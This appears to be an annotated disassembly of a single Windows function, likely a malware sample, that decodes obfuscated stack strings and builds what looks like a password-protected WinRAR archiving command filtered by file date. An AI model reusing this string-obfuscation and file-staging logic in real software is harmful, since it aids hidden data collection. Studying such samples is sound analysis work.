Function at 0x402010
Capabilities:
Contain obfuscated stackstrings
Query environment variable

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0xf64
push ebx
mov bl, byte [eax]
push ebp
push esi
cmp bl, 0x5c
push edi
jne 0x402027
mov bl, 0x40
mov cx, word [0x40b0ec]
xor eax, eax
mov word [esp + 0x270], cx
mov ecx, 0xff
lea edi, [esp + 0x272]
mov edx, dword [str._u__ap_]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, dword [0x40b1dc]
mov ecx, 0x3f
mov dword [esp + 0x6c], eax
xor eax, eax
lea edi, [esp + 0x70]
mov dword [esp + 0x68], edx
rep stosd dword es:[edi], eax
xor ecx, ecx
mov edx, dword [str.Oqnfq_lEhkdr]
mov dword [esp + 0x41], ecx
mov byte [esp + 0x40], al
mov dword [esp + 0x45], ecx
mov eax, dword [0x40b1ac]
mov dword [esp + 0x49], ecx
mov dword [esp + 0x20], edx
mov dl, byte [0x40b1b4]
mov dword [esp + 0x4d], ecx
mov word [esp + 0x51], cx
mov dword [esp + 0x24], eax
mov byte [esp + 0x53], cl
mov ecx, dword [0x40b1b0]
mov dword [esp + 0x28], ecx
mov byte [esp + 0x2c], dl
lea edi, [esp + 0x20]
or ecx, 0xffffffff
xor eax, eax
xor edx, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x4020dd
mov al, byte [esp + edx + 0x20]
lea edi, [esp + 0x20]
inc al
or ecx, 0xffffffff
mov byte [esp + edx + 0x20], al
xor eax, eax
inc edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp edx, ecx
jb 0x4020c0
lea eax, [esp + 0x16c]
push 0x103
lea ecx, [esp + 0x24]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x40214b
lea edi, [esp + 0x16c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp byte [esp + ecx + 0x16c], 0x5c
je 0x4021b2
mov edi, 0x40b1a4
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x16c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x4021b2
mov edi, str.ce_alobaa1win123_
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x16c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov al, 0x72
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov byte [esp + 0x16d], 0x3a
mov byte [esp + 0x16f], 0x70
mov byte [esp + 0x170], al
mov byte [esp + 0x172], 0x67
mov byte [esp + 0x173], al
mov byte [esp + 0x17b], al
mov byte [esp + 0x17c], 0x61
mov byte [esp + 0x17d], al
mov ecx, dword [str.vhmq_q_q_q_dwd]
mov edx, dword [0x40b184]
mov eax, dword [0x40b188]
mov dword [esp + 0x30], ecx
mov cx, word [0x40b18c]
mov dword [esp + 0x34], edx
mov dl, byte [0x40b18e]
mov dword [esp + 0x38], eax
mov word [esp + 0x3c], cx
mov byte [esp + 0x3e], dl
lea edi, [esp + 0x30]
or ecx, 0xffffffff
xor eax, eax
xor edx, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x402214
mov al, byte [esp + edx + 0x30]
lea edi, [esp + 0x30]
inc al
or ecx, 0xffffffff
mov byte [esp + edx + 0x30], al
xor eax, eax
inc edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp edx, ecx
jb 0x4021f7
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x30]
lea ecx, [esp + 0x16c]
push eax
push ecx
call ebp
mov eax, dword [0x40b1c8]
mov ecx, dword [0x40b1cc]
mov edx, dword [0x40b1c4]
mov dword [esp + 0x58], eax
mov ax, word [0x40b1d4]
mov dword [esp + 0x5c], ecx
mov cl, byte [0x40b1d6]
mov dword [esp + 0x54], edx
mov edx, dword [0x40b1d0]
mov word [esp + 0x64], ax
mov byte [esp + 0x66], cl
mov dword [esp + 0x60], edx
lea edi, [esp + 0x54]
or ecx, 0xffffffff
xor eax, eax
xor edx, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x402294
mov cl, byte [esp + edx + 0x54]
lea edi, [esp + 0x54]
inc cl
xor eax, eax
mov byte [esp + edx + 0x54], cl
or ecx, 0xffffffff
inc edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp edx, ecx
jb 0x402277
movsx edx, bl
lea eax, [esp + 0x54]
push edx
lea ecx, [esp + 0x72]
push eax
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
push 0
call fcn.00402550
add esp, 0x10
lea edx, [esp + 0x670]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov al, 0x68
mov esi, dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov byte [esp + 0x80], al
mov byte [esp + 0x83], al
mov al, 0x69
mov bl, 0x2d
mov byte [esp + 0x84], al
mov byte [esp + 0x8a], al
mov al, 0x65
mov cl, 0x54
mov byte [esp + 0x8b], al
mov byte [esp + 0x8d], al
lea eax, [esp + 0x10]
mov byte [esp + 0x7f], bl
push eax
mov byte [esp + 0x85], 0x70
mov byte [esp + 0x92], 0x20
mov byte [esp + 0x86], cl
mov byte [esp + 0x89], 0x73
mov byte [esp + 0x8a], cl
mov byte [esp + 0x8b], 0x77
mov byte [esp + 0x8c], 0x30
mov byte [esp + 0x8d], 0x50
mov byte [esp + 0x90], 0x63
call esi
lea ecx, [esp + 0x10]
push ecx
call esi
mov esi, dword [0x40b5c6]
mov eax, 0x6719f361
mul esi
mov ecx, esi
mov eax, esi
sub ecx, edx
mov esi, 0x16d
shr ecx, 1
add ecx, edx
xor edx, edx
div esi
mov eax, 0x88888889
mov byte [esp + 0x40], bl
shr ecx, 8
mov byte [esp + 0x41], 0x74
mov byte [esp + 0x42], 0x61
mov edi, edx
mul edi
mov esi, edx
mov eax, edi
xor edx, edx
mov edi, 0x1e
div edi
mov ax, word [esp + 0x16]
shr esi, 4
cmp ax, dx
ja 0x4023b3
add ax, di
mov di, word [esp + 0x12]
dec di
jmp 0x4023b8
mov di, word [esp + 0x12]
sub ax, dx
cmp di, si
mov word [esp + 0x16], ax
ja 0x4023ce
add di, 0xc
dec word [esp + 0x10]
sub word [esp + 0x10], cx
sub di, si
cmp di, 2
mov word [esp + 0x12], di
jne 0x4023ee
cmp ax, 0x1c
jbe 0x4023ee
mov word [esp + 0x16], 0x1c
mov edx, dword [esp + 0x16]
mov eax, dword [esp + 0x12]
mov ecx, dword [esp + 0x10]
and edx, 0xffff
and eax, 0xffff
push edx
and ecx, 0xffff
push eax
push ecx
lea edx, [esp + 0x4f]
push str._04d_02d_02d
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea eax, [esp + 0x16c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathQuoteSpacesA]
lea ecx, [esp + 0x16c]
lea edx, [esp + 0x270]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [esp + 0x68]
lea ecx, [esp + 0x270]
push eax
push ecx
call ebp
lea edx, [esp + 0x40]
lea eax, [esp + 0x270]
push edx
push eax
call ebp
lea ecx, [esp + 0x670]
lea edx, [esp + 0x270]
push ecx
push edx
call ebp
lea eax, [esp + 0x270]
push 0x40b1c0
push eax
call ebp
mov ecx, dword [esp + 0xf78]
lea edx, [esp + 0x270]
push ecx
push edx
call ebp
lea eax, [esp + 0x270]
push 0x40b0ec
push eax
call ebp
mov ecx, 0x1ff
xor eax, eax
lea edi, [esp + 0x776]
mov word [esp + 0x774], 0
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x774]
push 0x3ff
stosw word es:[edi], ax
push ecx
lea edi, [esp + 0x278]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edx, [esp + 0x278]
push ecx
push edx
push eax
push eax
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0xffffffffffffffff
lea eax, [esp + 0x778]
push 0
push eax
call fcn.00401870
add esp, 0xc
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xf64
ret